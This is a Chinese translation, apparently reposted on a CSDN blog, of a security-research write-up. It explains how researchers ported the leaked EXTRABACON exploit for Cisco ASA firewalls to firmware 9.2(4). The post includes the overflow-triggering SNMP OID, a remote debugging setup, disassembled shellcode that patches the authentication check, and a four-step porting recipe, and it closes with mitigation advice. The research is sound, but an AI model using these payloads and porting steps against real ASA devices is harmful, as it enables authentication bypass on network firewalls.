关闭

简单四步,教你自己动手移植思科ASA漏洞利用EXTRABACON

833人阅读 评论(2) 收藏 举报
分类:

2016-08-29 10:54:06 作者:mpk_no1 
阅读:655次 点赞(1) 收藏(1)


分享到:

http://p3.qhimg.com/t01426314a771767e39.jpg

在过去的几天里,我们仔细分析了由Shadow Brokers泄露的国安局漏洞利用代码EXTRABACON。根据XORcat得出的初步分析,这个利用代码能够利用SNMP服务中的内存崩溃漏洞绕过思科ASA设备的身份验证。我们在实验室里对这段代码进行了分析和测试,甚至进行了修改使其能够应用到9.2 (4) 版本。不过,在官方未发布修复补丁之前我们不打算公开这个升级代码。在这篇文章中,我们希望对移植过程进行一个详细的描述:移植的先决条件是什么,需要付出多少努力来扩展功能。同时我们也希望这篇总结能够给那些开始研究思科ASA的人们提供一个很好的资源。


思科ASA是什么?


思科自适应安全设备(ASA)是一种广泛采用的网络安全设备,除了提供标准数据包过滤功能,还提供了一个“智能”的组合,应用程序级的功能比如L7协议检验或VPN等。这个复杂的功能集大概是思科选择32位x86处理器来实现的原因之一。

供应商的主页数据显示有超过100万的这种设备部署在世界各地。

广泛部署,加上其体系结构的复杂性(很可能存在很多bug)使得思科ASA成为了黑客们梦寐以求的攻击对象。

测试准备工作


开始研究ASA最好有一些实际的硬件。幸运的是,ASA 5505在在线拍卖网站上可以以相对便宜的价格找到。

当拥有了硬件,你可能对它的配置毫无头绪,这个时候,你应该建立一个串行连接,从而在没有密码的情况下重置配置和访问控制台。因此你需要一个思科控制台连接线(RJ45-to-DB9)和一个RS232-USB转换器。通过这些你可以将设备的控制台端口连接到你的工作站上的USB端口。在Linux上你可以使用调制解调器通信程序(minicom)连接到控制台,连接参数有:

9600 baud、Parity:8N1

连接完毕之后,你可以检查固件版本并对设备进行配置。对我们来说,配置IP网络接口,允许SSH和SNMP是很重要的。

安装新的固件,你首先需要匹配的固件二进制文件。版本9.2(4) 映像文件的名称为asa924-k8.bin。可以使用SCP将新的固件上传到设备的内部闪存中:

scp asa924-k8.bin admin@192.168.5.1:/asa924-k8.bin

启动顺序可以根据官方手册(https://www.cisco.com/c/en/us/support/docs/security/asa-5500-x-series-next-generation-firewalls/200142-ASA-9-x-Upgrade-a-Software-Image-using.html)配置。

拥有了首选的固件版本和串行连接之后,你就可以通过发送下面的长SNMP OID来验证EXTRABACON造成的内存损坏利用:

1
1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.16.204.71.173.53.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144


这可能会导致访问冲突,并会在串行控制台上输出一些基本的调试信息。

远程调试


远程调试的配置参考的是Alec Stuart 的教程(https://www.youtube.com/watch?v=KXqrovapQ5A),我们现在只是给出一个快速概述的过程。

ASA运行一个类似linux的操作系统,称为lina,固件映像文件包含根文件系统的所有二进制文件和配置文件——可以用binwalk提取:

1
 $ binwalk -e asa924-k8.bin
1
2
3
4
5
6
7
8
    DECIMAL     HEX         DESCRIPTION
    -------------------------------------------------------------------------------------------------------------------
    514         0x202       LZMA compressed data, properties: 0x64, dictionary size: 2097152 bytes, uncompressed size: 1048576 bytes
    144510      0x2347E     gzip compressed data, from Unix, last modified: Wed Jul 15 06:53:23 2015, max compression
    1500012     0x16E36C    ELF
    1501296     0x16E870    gzip compressed data, was "rootfs.img", from Unix, last modified: Wed Jul 15 07:19:52 2015
    28192154    0x1AE2D9A   Zip archive data, at least v2.0 to extract, name: "com/cisco/webvpn/csvrjavaloader64.dll"  
    28773362    0x1B70BF2   Zip archive data, at least v2.0 to extract, name: "AliasHandlerWrapper-win64.dll"


我们将Alec演示的repack.sh脚本修改为了:

1.从固件的映像中自动发现和修改rootfs.img

2.解压缩

3.替换rcS,这样在调试模式下会启动lina

4.重新打包rootfs

5.使用dd把新的rootfs归档到固件的二进制文件中

替换设备上的原有固件映像之后,lina开始等待启动时的GDB附加:

1
Process /asa/bin/lina created; pid = 518Remote debugging using /dev/ttyS0


继续执行,作为根用户启动GDB,并串行附加到目标上:

1
(gdb) target remote /dev/ttyUSB0


现在你可以交互式地调试你的设备了。

分析与修改


当我们开始处理EXTRABACON时,我们的主要问题是了解将其扩展到支持新的固件版本有多难。出于这个原因,我们采取了一个“hacky”方法寻找最简单的方法来解决这个问题,而不太关心思科的内部解析或其他细节。

首先让我们看一下目录结构:.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
├── extrabacon_1.1.0.1.py
├── Mexeggs
│   ├── all.py
│   ├── argparse.py
│   ├── hexdump.py
│   ├── __init__.py
│   ├── loglib.py
│   ├── log.py
│   ├── sploit.py
│   └── version.py
├── scapy
...
└── versions
    ├── shellcode_asa802.py
...
    └── shellcode_asa844.py


我们可以看到,不同版本的shellcode都是单独存储在目录下的versions文件夹中,主要利用代码是一个单独的Python文件——extrabacon_1.1.0.1.py。

Mexeggs是漏洞利用的“迷你框架”:它定义了标准接口,处理一些常见的任务,如参数解析和日志记录(默认的日志目录是D:\DSZOPSDisk\logs,日志存储在代号为“concernedparent”的目录中)。

因为是模块化的,所以一旦我们修复了Extrabacon.fw_version_check()函数中的版本检测功能,我们的主要关注点就是主利用脚本。

让我们来看看shellcode脚本!下图是版本8.0(2)和8.4(4)之间的对比:

http://p6.qhimg.com/t011b8ecfd35406ea29.png

我们可以看到,这两个版本的shellcode大部分是相同的,只有2 - 4字节的差异。每一个版本的my_ret_addr值有明显的差异,但凡做过这种类型开发的人都会非常高兴看到这个变量名(或值):在版本检测代码中添加了两行之后,我们在versions目录下拷贝了一个原始的shellcode代码,将其命名为shellcode shellcode_asa924.py,然后将my_ret_addr的值设为 0 x41414141。这个利用正式启动后,我们获得了一个不错的小SIGSEGV信号:

1
Program received signal SIGSEGV, Segmentation fault.[Switching to Thread 523]0x41414141 in ?? ()(gdb) info regeax            0x0    0ecx            0xcbd65a48    -875144632edx            0x0    0ebx            0x90909090    -1869574000esp            0xccb980e0    0xccb980e0ebp            0x90909090    0x90909090esi            0x90909090    -1869574000edi            0x90909090    -1869574000eip            0x41414141    0x41414141eflags         0x213246    [ PF ZF IF #12 #13 RF ID ]cs             0x73    115ss             0x7b    123ds             0x7b    123es             0x7b    123fs             0x0    0gs             0x33    51(gdb)


的堆缓冲区溢出。思科并没有对该利用采取任何缓解措施,每一个固件版本的系统内存布局也都是一样的。

对内存进行一个快速检查之后发现,shellcode的其他部分代码出现在了堆栈上,就像一个范例,ESP正好指向脚本中称为find的第二个片段——这个指令的反汇编结果如下所示:

1
2
3
4
5
$ rasm2 -d "\x8b\x7c\x24\x14\x8b\x07\xff\xe0\x90"
mov edi, dword [esp + 0x14]
mov eax, dword [edi]
jmp eax
nop



这个简单的代码间接引用了堆栈上的一个指针两次。这段代码不需要修改就可以重用,并且在我们的测试中100%可靠,我们只需要将my_ret_addr的值设置为一个修改的地址,这个地址指向9.2(4) lina二进制文件中的jmp esp指令。第二个片段的代码也很简单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[源代码]
mov eax, 0xad47cc10
xor eax, 0xa5a5a5a5 ; EAX=8E269B5
sub esp, 4
mov dword [esp], eax
mov ebp, esp
add ebp, 0x48
xor eax, eax
xor ebx, ebx
mov bl, 0x10
xor esi, esi
mov edi, 0xaaaaaaae
xor edi, 0xa5a5a5a5 ; EDI=F0F0F0B
push al
[源代码]
这段代码修复损坏的堆栈帧,然后将一些常量(其中一个看起来像一个代码指针)推入堆栈。在这之后,启动程序执行:
[源代码]
mov eax, dword [esp + 0x1e8]
add al, 1
call eax
[源代码]


这几行代码从堆栈中读取一个指针,调整一下然后调用生成的地址。因为不知道我们正在寻找的是什么样的指针,所以我们上传了旧的固件,然后从0xcc操作码处开始修改相应的shellcode碎片,这触发了一个内存跳转。这样我们发现地址启动器指向我们的第一个实际载荷PMCHECK_disable。由于启动器不工作,所以我们开始在ESP附近的内存去搜寻负载的标识。我们最初使用0xa5a5a5a5模式,然后用更长的模式缩小搜索。找到负载的开始后,我们寻找堆栈上附近的值。

负载实际上由两部分组成,PMCHECK_disable和AAAADMINAUTH_disable,这两个的工作方式非常相似,所以我们现在先讨论其中的一个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[源代码]
mov edi, 0xa5a5a5a5
mov eax, 0xa5a5a5d8
xor eax, edi        ; EAX=7D
mov ebx, 0xacf065a5
xor ebx, edi        ; EBX=955C000
mov ecx, 0xa5a5b5a5
xor ecx, edi        ; ECX=1000
mov edx, 0xa5a5a5a2
xor edx, edi        ; EDX=7
int 0x80            ; SYSCALL
jmp 0x39
mov edi, 0x955c9f0  ; ADDRESS TO PATCH
xor ecx, ecx
mov cl, 4
cld
rep movsb byte es:[edi], byte ptr [esi] ; BUFFER COPY
jmp 0x42
pop esi
jmp 0x25
call 0x36
xor eax, eax  ; PATCH CODE
inc eax
ret
[源代码]


第一部分再次揭露了一些常量值然后触发了系统调用。EAX中的系统调用标识符按照惯例设定,我们主要做的实际上是设置一个包含0x955c9f0的可写内存页面:


sys_mprotect(start=0x955C000, len=0x1000, prot=0x7)

幸运的是,相应的固件是公开的,提取和反汇编之后很明显就可以发现这个地址是一个负责身份验证检查的函数的入口点。然后用rep movsb指令将Shellcode的结尾复制到这个地址,最后shellcode向前执行AAAADMINAUTH_disable的有效载荷部分,这和固件的AAA API功能相似。这样的话,关键的身份验证检查结果将始终返回SUCCESS,导致身份验证绕过。

请注意,我们现在拥有任意的可执行代码,所以这个拼凑只是我们可以做的其中之一。不幸的是, 在ASA上用shellcode影响网络并不繁琐,所以这个解决方案似乎是合理的,既紧凑又容易在新目标上采用。

我们利用这个代码在更新的固件中查找修补功能。虽然子图同构是一个困难的问题,但是在实践中可以基于调试字符串和“独特的”代码模式来识别相同的代码部分。在IDA中匹配函数在视觉上非常相似,一旦发现就很容易认出他们。此外,有效载荷的伟大之处是,在找到匹配的入口点之后,我们只需要修改两个常数就完成了。

还记得之前提到的那个像一个代码指针的常量吗?这实际上就是我们准备利用的地址。如果我们返回去看一看原始lina的反汇编结果,我们可以看到,这个地址正好在一个函数调用之后,它可能会调用一个函数,这正是在漏洞发生的地方,之后我们可能会当做什么也没发生一样继续执行。其实移植的过程是一样的:在新版本的二进制文件中查找相同的函数,然后修改前面提到的常量地址,然后我们的漏洞利用就如期工作了。

总结


总之,想要修改ASA利用使其支持一个新版本需要:   

1.找到一个JMP ESP地址

2.修改堆栈偏移值

3.修改两个硬编码函数入口地址

4.修改硬编码的返回地址

步骤1、3和4通过静态分析可以自动执行。在我们的例子中步骤2需要进行一些调试,但更好的理解代码之后,可以完全自动化地生成shellcode。事实上,泄露的shellcode文件有一条注释“该文件是自动生成的”。

同样重要的是,我们在没有详细的根本原因分析,特殊的工具或源代码,只是基于泄露的代码、通过调试和简单的静态二进制分析的情况下就创建了新的利用版本。

检测、缓解、解决方案


思科已经发布了一个关于EXTRABACON漏洞利用的详细博文和安全公告,确认了所有支持的版本都是易受攻击的。在撰写本文时还没有可用的补丁,供应商建议限制对SNMP接口的访问,建立一个难以猜测的社区字符串。在这些解决方法中有两点需要注意:

1.SNMP是一个基于UDP的协议,允许简单的源地址欺骗。在设计/评估网络级别的解决方法时应该牢记这一点。

2.社区字符串在网络上以纯文本的方式传输。我们不期望常见的社区字符串在短时间内消失。

这篇文章出版之前,思科已经开始对某些固件版本推出修复补丁——一定要在你的设备上进行这些修复以阻止基于EXTRABACON的攻击!随着供应商开始系统地消除漏洞,我们期望最新的补丁不仅仅包括对这个漏洞的修复。从长远来看,应用于ASA软件的最新的漏洞利用缓解技术应该为平台提供可伸缩性的保护,修复整个漏洞集合并提高攻击者的成本。

原文链接:https://blog.silentsignal.eu/2016/08/25/bake-your-own-extrabacon/

本文转载自 
原文链接:

1
0

查看评论
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
    个人资料
    • 访问:407836次
    • 积分:4803
    • 等级:
    • 排名:第5987名
    • 原创:22篇
    • 转载:709篇
    • 译文:2篇
    • 评论:19条
    最新评论